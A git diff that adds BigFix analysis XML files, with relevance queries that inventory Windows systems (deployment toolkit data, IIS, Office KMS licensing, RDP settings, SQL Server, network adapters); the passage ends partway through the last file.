diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes
new file mode 100644
index 000000000..1a1eea9da
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft Deployment Toolkit - Windows (2998513).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft Deployment Toolkit - Windows
+  ID       : 2998513
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-01-31T07:17:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft Deployment Toolkit - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding a Windows Operating System deployed using the Microsoft Deployment Toolkit.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values &quot;Task Sequence ID&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="MDT - Deployment Task Sequence ID - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence ID&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="2" Name="MDT - Deployment Task Sequence Name - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence Name&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="3" Name="MDT - Deployment Task Sequence Version - Windows" EvaluationPeriod="P7D">values &quot;Task Sequence Version&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="4" Name="MDT - Deployment Task Sequence Progress - Windows" EvaluationPeriod="PT1H">values &quot;ProgressPercent&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="5" Name="MDT - Deployment Task Sequence Message - Windows" EvaluationPeriod="PT1H">values &quot;ProgressText&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="6" Name="MDT - Deployment Method - Windows" EvaluationPeriod="P7D">values &quot;Deployment Method&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="7" Name="MDT - Deployment Source - Windows" EvaluationPeriod="P7D">values &quot;Deployment Source&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+    <Property ID="8" Name="MDT - Deployment Time - Windows" EvaluationPeriod="P7D">(it as date) of (last 2 of it &amp; &quot; &quot; &amp; (substring (4,2) of it as integer as month as three letters) &amp; &quot; &quot; &amp; first 4 of it) of firsts 8 of (values &quot;Deployment Timestamp&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry as string)</Property>
+    <Property ID="9" Name="MDT - Deployment Type - Windows" EvaluationPeriod="P7D">values &quot;Deployment Type&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Deployment 4&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes
new file mode 100644
index 000000000..217a3409e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft IIS - Windows (2998511).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft IIS - Windows
+  ID       : 2998511
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-01-11T18:34:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft IIS - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the currently installed Microsoft IIS environment.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;W3SVC&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="IIS - Sites - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then (string values of Selects &quot;Name FROM Site&quot; of wmis &quot;ROOT\WebAdministration&quot;) else (string values of properties &quot;ServerComment&quot; of Select objects &quot;ServerComment FROM IIsWebServerSetting&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
+    <Property ID="2" Name="IIS - Virtual Directories - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then (string values of selects &quot;PhysicalPath FROM VirtualDirectory&quot; of wmis &quot;ROOT\WebAdministration&quot;) else (string values of selects &quot;Path FROM IIsWebVirtualDirSetting&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
+    <Property ID="3" Name="IIS - Application Pools - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then ((string value of property &quot;Name&quot; of it) of Select objects &quot;Name FROM ApplicationPool&quot; of wmis &quot;ROOT\WebAdministration&quot;) else ((following text of first &quot;W3SVC/APPPOOLS/&quot; of string value of property &quot;Name&quot; of it) of Select objects &quot;Name FROM IIsApplicationPool&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
+    <Property ID="4" Name="IIS - Version - Windows" EvaluationPeriod="PT12H">unique values of (value &quot;MajorVersion&quot; of it as string &amp; &quot;.&quot; &amp; value &quot;MinorVersion&quot; of it as string) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetStp&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="5" Name="IIS - Components - Windows" EvaluationPeriod="PT12H">unique values of names of values whose (it = 1) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetStp\Components&quot; of x32 registry</Property>
+    <Property ID="7" Name="IIS - Virtual Directories mapped with Credentials - Windows" EvaluationPeriod="PT12H">if (exists wmis &quot;ROOT\WebAdministration&quot;) then ((string values of property &quot;UserName&quot; of it, string values of property &quot;PhysicalPath&quot; of it) of select objects &quot;UserName,PhysicalPath FROM VirtualDirectory where UserName != &apos;&apos;&quot; of wmis &quot;ROOT\WebAdministration&quot;) else ((string values of property &quot;UNCUserName&quot; of it, string values of property &quot;Path&quot; of it) of select objects &quot;UNCUserName,Path FROM IIsWebVirtualDirSetting where UNCUserName != &apos;&apos;&quot; of wmis &quot;ROOT\MicrosoftIISv2&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes
new file mode 100644
index 000000000..6d3be1016
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft Office Software Protection Licensing Information - KMS - Windows (2994711).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft Office Software Protection Licensing Information - KMS - Windows
+  ID       : 2994711
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-03T11:50:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft Office Software Protection Licensing Information - KMS - Windows</Title>
+    <Description><![CDATA[<P>Retrieves information about Microsoft Office Software Protection Services.&nbsp; For use with Office versions 2010 and newer.&nbsp; (version 14+) </P>
+<P>This analysis may not be accurate in all cases and may need some refinement for Win8 and the newest version of office.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Relevance><![CDATA[(exists keys whose (value "DisplayName" of it as string starts with "Microsoft Office" AND value "DisplayVersion" of it as string as version >= "14.0" as version) of keys "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of (registry;native registry)) OR (exists keys "OfficeSoftwareProtectionPlatform" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" of (native registry;registry))]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 29 Aug 2014 12:58:48 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Names of licensed products" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of string values of selects &quot;Name from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="2" Name="License State" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (if it = 0 then &quot;Unlicensed&quot; else if it = 1 then &quot;Licensed&quot; else if it = 2 then &quot;OOB Grace&quot; else if it = 3 then &quot;OOT Grace&quot; else if it = 4 then &quot;NonGenuineGrace&quot; else if it = 5 then &quot;Notification&quot; else &quot;&lt;unkown&gt;&quot;) of (integer values of selects &quot;LicenseStatus from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi)</Property>
+    <Property ID="3" Name="Grace Period Expiration" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (it as string) of (if exists integer value of it and integer value of it &gt;0 then now + (minute * (integer value of it)) else nothing) of ((selects &quot;GracePeriodRemaining from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi))</Property>
+    <Property ID="5" Name="Office KMS Server Enabled" EvaluationPeriod="PT12H">(if exists integer value of it and integer value of it = 1 then &quot;Yes&quot; else &quot;No&quot;) of selects &quot;IsKeyManagementServiceMachine from OfficeSoftwareProtectionService&quot; of wmi</Property>
+    <Property ID="6" Name="Activation Method" EvaluationPeriod="P2D">concatenation &quot;; &quot; of unique values of (if exists string value of it then preceding text of first &quot; &quot; of following text of last &quot;, &quot; of string value of it as string else nothing) of selects &quot;Description from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="7" Name="Partial Product Key" EvaluationPeriod="P1D">concatenation &quot;; &quot; of (if exists string value of it then string value of it as string else nothing) of selects &quot;PartialProductKey from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="8" Name="KMS Server (WMI)" EvaluationPeriod="PT12H">concatenation &quot;; &quot; of unique values of (if exists string value of it then string value of it as string else nothing) of selects &quot;DiscoveredKeyManagementServiceMachineName from OfficeSoftwareProtectionProduct WHERE PartialProductKey is not null&quot; of wmi</Property>
+    <Property ID="9" Name="KMS Server (Registry)" EvaluationPeriod="P2D">concatenation &quot;; &quot; of unique values of (it as string) of ( values &quot;KeyManagementServiceName&quot; of it; values &quot;KeyManagementServiceName&quot; of keys of keys of it ) of keys &quot;OfficeSoftwareProtectionPlatform&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft&quot; of (native registry;registry)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes
new file mode 100644
index 000000000..74be26316
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft Remote Service Settings - Extended - RDP (2994595).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft Remote Service Settings - Extended - RDP
+  ID       : 2994595
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-11-01T12:06:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft Remote Service Settings - Extended - RDP</Title>
+    <Description><![CDATA[<P>RDP / Terminal Services settings</P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/"><FONT color=#000080>http://etutorials.org/Microsoft+Products/microsoft+windows+server+2003+terminal+services/Chapter+6+Registry/Registry+Keys+for+Terminal+Services/</FONT></A></P>
+<P><A href="http://support.microsoft.com/kb/243215"><FONT color=#000080>http://support.microsoft.com/kb/243215</FONT></A></P>
+<P><A href="http://www.sepago.de/e/helge/2007/09/12/programmatically-determining-terminal-server-mode-on-windows-server-2008"><FONT color=#000080>http://www.sepago.de/e/helge/2007/09/12/programmatically-determining-terminal-server-mode-on-windows-server-2008</FONT></A></P>
+<P><A href="http://www.whitemiceconsulting.com/2011/10/changing-terminal-services-license-mode.html"><FONT color=#000080>http://www.whitemiceconsulting.com/2011/10/changing-terminal-services-license-mode.html</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3  AND (if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) else false</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Mon, 27 Aug 2007 22:53:50 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 01 Nov 2013 19:06:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="MinEncryptionLevel" EvaluationPeriod="P1D">value &quot;MinEncryptionLevel&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="2" Name="Version" EvaluationPeriod="P1D">value &quot;ProductVersion&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of native registry</Property>
+    <Property ID="3" Name="NLA Enabled?" EvaluationPeriod="P1D">(exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; whose(value &quot;UserAuthentication&quot; of it = 1) of native registry)</Property>
+    <Property ID="4" Name="ColorDepth" EvaluationPeriod="P1D">value &quot;ColorDepth&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="5" Name="PortNumber" EvaluationPeriod="P1D">value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="6" Name="WdName" EvaluationPeriod="P1D">value &quot;WdName&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+    <Property ID="7" Name="LicensingMode" EvaluationPeriod="P1D">if (version of operating system &lt;= &quot;6.0&quot;) then ERROR &quot;N/A&quot; else (value &quot;LicensingMode&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\RCM\Licensing Core&quot; of native registry)</Property>
+    <Property ID="8" Name="RDP Version" EvaluationPeriod="P1D">(it as string as version) of value &quot;WdName&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes b/Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes
new file mode 100644
index 000000000..e4a0faa56
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Microsoft SQL - Windows (2998470).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Microsoft SQL - Windows
+  ID       : 2998470
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-25T15:52:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Microsoft SQL - Windows</Title>
+    <Description><![CDATA[<P>Provides information about the SQL Server and Databases on the system. </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;)</Relevance>
+    <Relevance>exists keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of (x32 registries;x64 registries)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SQL - Instances - Windows" EvaluationPeriod="P1D">unique values of (it as string) of values of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of (x32 registries;x64 registries)</Property>
+    <Property ID="4" Name="SQL - Clustered Instances - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string values of properties &quot;ServiceName&quot; of it) of SELECT OBJECTS &quot;* FROM SqlServiceAdvancedProperty WHERE PropertyIndex=3 AND PropertyName=&apos;CLUSTERED&apos; AND ServiceName=&apos;MSSQLSERVER&apos; AND SqlServiceType=1 and PropertyNumValue=1&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* FROM SqlServiceAdvancedProperty WHERE PropertyIndex=3 AND PropertyName=&apos;CLUSTERED&apos; AND ServiceName=&apos;MSSQLSERVER&apos; AND SqlServiceType=1&quot; of it | false) </Property>
+    <Property ID="6" Name="SQL - Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabases&apos;&quot; of wmi)) of wmi</Property>
+    <Property ID="7" Name="SQL - Mirrored Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabaseMirroring&apos;&quot; of wmi)) of wmi</Property>
+    <Property ID="8" Name="SQL - Replicated Databases - Windows" EvaluationPeriod="P2D">unique values of (string value of property &quot;name&quot; of it) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabaseReplica&apos;&quot; of wmi)) of wmi</Property>
+    <Property ID="9" Name="SQL - Database Disk Usage - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string value of property &quot;name&quot; of it, (integer value of property &quot;DataFilesSizeKB&quot; of it / 1024) as string &amp; &quot; MB&quot; ) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabases&apos;&quot; of wmi)) of wmi</Property>
+    <Property ID="10" Name="SQL - Default Port - Windows" EvaluationPeriod="P1D">unique values of integer values of properties &quot;PropertyNumVal&quot; of select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Port&apos;&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Port&apos;&quot; of it | false)</Property>
+    <Property ID="11" Name="SQL - Default Named Pipe - Windows" EvaluationPeriod="P1D">unique values of string values of properties &quot;PropertyStrVal&quot; of select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Pipe&apos;&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Pipe&apos;&quot; of it | false)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes b/Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes
new file mode 100644
index 000000000..82e9094c5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Missing Fixlets for Available Windows Features
+  ID       : 12
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Missing Fixlets for Available Windows Features</Title>
+    <Description><![CDATA[<P>This analysis pulls back the results file of our diffDISM.txt file.&nbsp; This file contains a list of Available Windows Features which we do not have fixlets for.&nbsp;</P>
+<P>You can take this data and manually create fixlets for each of these features.</P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists file &quot;diffDISM.txt&quot; of parent folder of client OR exists file &quot;DISM.txt&quot; of parent folder of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 02 Oct 2012 16:51:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Missing Fixlets" EvaluationPeriod="PT5M">if exists file &quot;diffDISM.txt&quot; of parent folder of client then lines of file &quot;diffDISM.txt&quot; of parent folder of client else &quot;&lt;no results&gt;&quot;</Property>
+    <Property ID="2" Name="Available Windows Features" EvaluationPeriod="PT5M">if exists file &quot;DISM.txt&quot; of parent folder of client then preceding texts of firsts &quot;|&quot; of lines whose (it contains &quot;|&quot; AND NOT(it contains &quot;----------&quot;) AND NOT(it contains &quot;Feature Name&quot;)) of file &quot;DISM.txt&quot; of parent folder of client as trimmed string else &quot;&lt;no results&gt;&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes b/Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes
new file mode 100644
index 000000000..9853e955c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes	
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Network - Windows
+  ID       : 2998477
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-08T11:44:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Network - Windows</Title>
+    <Description><![CDATA[Provides network information
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Network - DHCP Server - Windows" EvaluationPeriod="P1D">(friendly name of it, dhcp server of it as string | &quot;Static IP&quot;) of adapters whose (address of it != &quot;0.0.0.0&quot;) of network as string</Property>
+    <Property ID="2" Name="Network - DNS Servers - Windows" EvaluationPeriod="P1D">unique values of (ipv6 dns servers of it as string; addresses of dns servers of it as string) of adapters of network</Property>
+    <Property ID="3" Name="Network - Domain - Windows" EvaluationPeriod="P1D">string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi</Property>
+    <Property ID="5" Name="Network - MAC Addresses - Windows" EvaluationPeriod="P1D">mac addresses of adapters of network</Property>
+    <Property ID="6" Name="Network - Subnet Masks - Windows" EvaluationPeriod="P1D">subnet masks of ip interfaces whose (loopback of it = false) of network</Property>
+    <Property ID="7" Name="Network - Wireless SSID Name - Windows" EvaluationPeriod="P1D">ssids of wifis of adapters of network </Property>
+    <Property ID="8" Name="Network - Wireless SSID Encryption - Windows" EvaluationPeriod="P1D">encryptions of wifis of adapters of network</Property>
+    <Property ID="9" Name="Network - DHCP Lease Obtained - Windows" EvaluationPeriod="P1D">(friendly name of it, lease obtained of it as string) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease obtained of it) of network as string</Property>
+    <Property ID="10" Name="Network - DHCP Lease Expires - Windows" EvaluationPeriod="P1D">(friendly name of it, lease expires of it as string) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease expires of it) of network as string</Property>
+    <Property ID="11" Name="Network - DHCP Lease Length - Windows" EvaluationPeriod="P1D">(friendly name of it, lease expires of it - lease obtained of it) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease obtained of it and exists lease expires of it) of network</Property>
+    <Property ID="12" Name="Network - WINS Servers - Winddows" EvaluationPeriod="P1D">(primary wins servers of it; secondary wins servers of it) of adapters of network</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes b/Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes
new file mode 100644
index 000000000..a6873cfc5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Network Info - Windows
+  ID       : 2994562
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-09T07:36:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Network Info - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>(windows of operating system)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Aug 2013 14:32:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="LAN - Link Speed" EvaluationPeriod="P1D">((unique value of it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of link speeds of adapters whose (link speed of it = maximum of link speeds of adapters whose (up of it AND (friendly name of it as lowercase contains &quot;ethernet&quot; OR friendly name of it as lowercase contains &quot;local area connection&quot;)) of networks) of networks</Property>
+    <Property ID="3" Name="Max Link Speed" EvaluationPeriod="P1D">((it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of maximum of link speeds of adapters of networks</Property>
+    <Property ID="4" Name="Max Link Speed of active NICs" EvaluationPeriod="P1D">((it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of maximum of link speeds of adapters whose(up of it) of networks</Property>
+    <Property ID="5" Name="Name of networks" EvaluationPeriod="P1D">friendly names of adapters of networks</Property>
